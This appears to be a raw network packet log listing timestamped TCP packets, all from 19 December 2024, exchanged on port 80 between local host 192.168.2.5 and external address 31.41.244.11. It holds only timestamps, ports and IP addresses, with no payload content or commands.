Dec 19, 2024 03:09:13.229105949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.229156971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.229991913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.230046034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.230098009 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.230149984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.230998039 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.231050968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.231093884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.231144905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.231947899 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.232001066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.232038021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.232089996 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.232918024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.232971907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.233045101 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.233095884 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.233891964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.233944893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.233988047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.234039068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.234880924 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.234934092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.234992981 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.235044956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.235867023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.235918999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.235968113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.236026049 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.236830950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.236886024 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.236927986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.236979008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.237831116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.237885952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.237931013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.237978935 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.238797903 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.238852978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.238918066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.238970041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.239919901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.239973068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.240015030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.240067005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.240772009 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.240823984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.240900993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.240953922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.241751909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.241813898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.241857052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.241909027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.242712975 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.242770910 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.242835045 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.242886066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.243714094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.243793964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.243824959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.243875980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.244688034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.244740963 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.244784117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.244834900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.245651007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.245703936 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.245769978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.245820999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.246679068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.246733904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.246764898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.246817112 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.247646093 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.247699976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.247735977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.247786999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.248619080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.248672962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.248759985 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.248811960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.249622107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.249675989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.249739885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.249793053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.250660896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.250715971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.250727892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.250777960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.251647949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.251701117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.251703024 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.251756907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.252541065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.252600908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.252646923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.252698898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.253480911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.253534079 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.253612041 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.253662109 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.254467964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.254554033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.254618883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.254671097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.255443096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.255496025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.255594015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.255654097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.256438017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.256493092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.256536007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.256587029 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.257410049 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.257467985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.257533073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.257586002 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.258416891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.258471012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.258508921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.258558989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.259358883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.259414911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.259486914 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.259540081 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.260344028 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.260396957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.260448933 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.260500908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.261326075 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.261379004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.261436939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.261491060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.262309074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.262360096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.262402058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.262454033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.263202906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.263257980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.412324905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.412383080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.412400007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.412431955 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.412684917 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.412764072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.412816048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.412867069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.413707972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.413775921 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.413817883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.413876057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.414664030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.414730072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.414781094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.414838076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.415653944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.415733099 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.415767908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.415822983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.416610003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.416675091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.416712046 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.416765928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.417582989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.417710066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.417716026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.417769909 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.418545961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.418616056 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.418664932 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.418720961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.419543028 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.419609070 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.419648886 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.419699907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.420509100 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.420573950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.420651913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.420706034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.421528101 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.421597004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.421633005 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.421691895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.422492981 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.422559977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.422601938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.422657013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.423466921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.423530102 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.423573017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.423631907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.424467087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.424532890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.424560070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.424613953 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.425432920 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.425502062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.425565004 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.425625086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.426397085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.426486015 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.426495075 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.426564932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.427437067 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.427494049 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.427496910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.427547932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.428343058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.428389072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.428443909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.428491116 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.429316044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.429363966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.429472923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.429517031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.430284977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.430331945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.430466890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.430512905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.431303978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.431354046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.431421041 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.431479931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.432265043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.432323933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.432401896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.432457924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.433249950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.433306932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.433376074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.433429956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.434220076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.434274912 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.434344053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.434391022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.435218096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.435269117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.435303926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.435349941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.436212063 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.436264038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.436330080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.436373949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.437176943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.437226057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.437263012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.437313080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.438199997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.438246965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.438258886 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.438312054 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.439148903 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.439201117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.439244986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.439295053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.440134048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.440186024 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.440237045 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.440283060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.441076040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.441131115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.441183090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.441255093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.442064047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.442128897 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.442163944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.442217112 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.443037033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.443104982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.443140984 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.443192959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.444020033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.444076061 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.444118023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.444165945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.445017099 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.445074081 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.445100069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.445147038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.446010113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.446062088 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.446086884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.446135998 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.446954966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.447005987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.447084904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.447138071 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.447927952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.447978973 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.448016882 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.448069096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.448924065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.448980093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.449031115 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.449083090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.449898958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.449950933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.449994087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.450052977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.450872898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.450928926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.450972080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.451024055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.451862097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.451911926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.451986074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.452040911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.452887058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.452928066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.452955961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.452970028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.453803062 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.453860044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.453901052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.453953981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.454797983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.454852104 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.454924107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.454972029 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.455785990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.455843925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.455893040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.455950975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.456767082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.456828117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.456891060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.456944942 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.457740068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.457808971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.457845926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.457895994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.458749056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.458806992 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.458827972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.458885908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.459738016 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.459793091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.459892988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.459947109 CET	49835	80	192.168.2.5	31.41.244.11
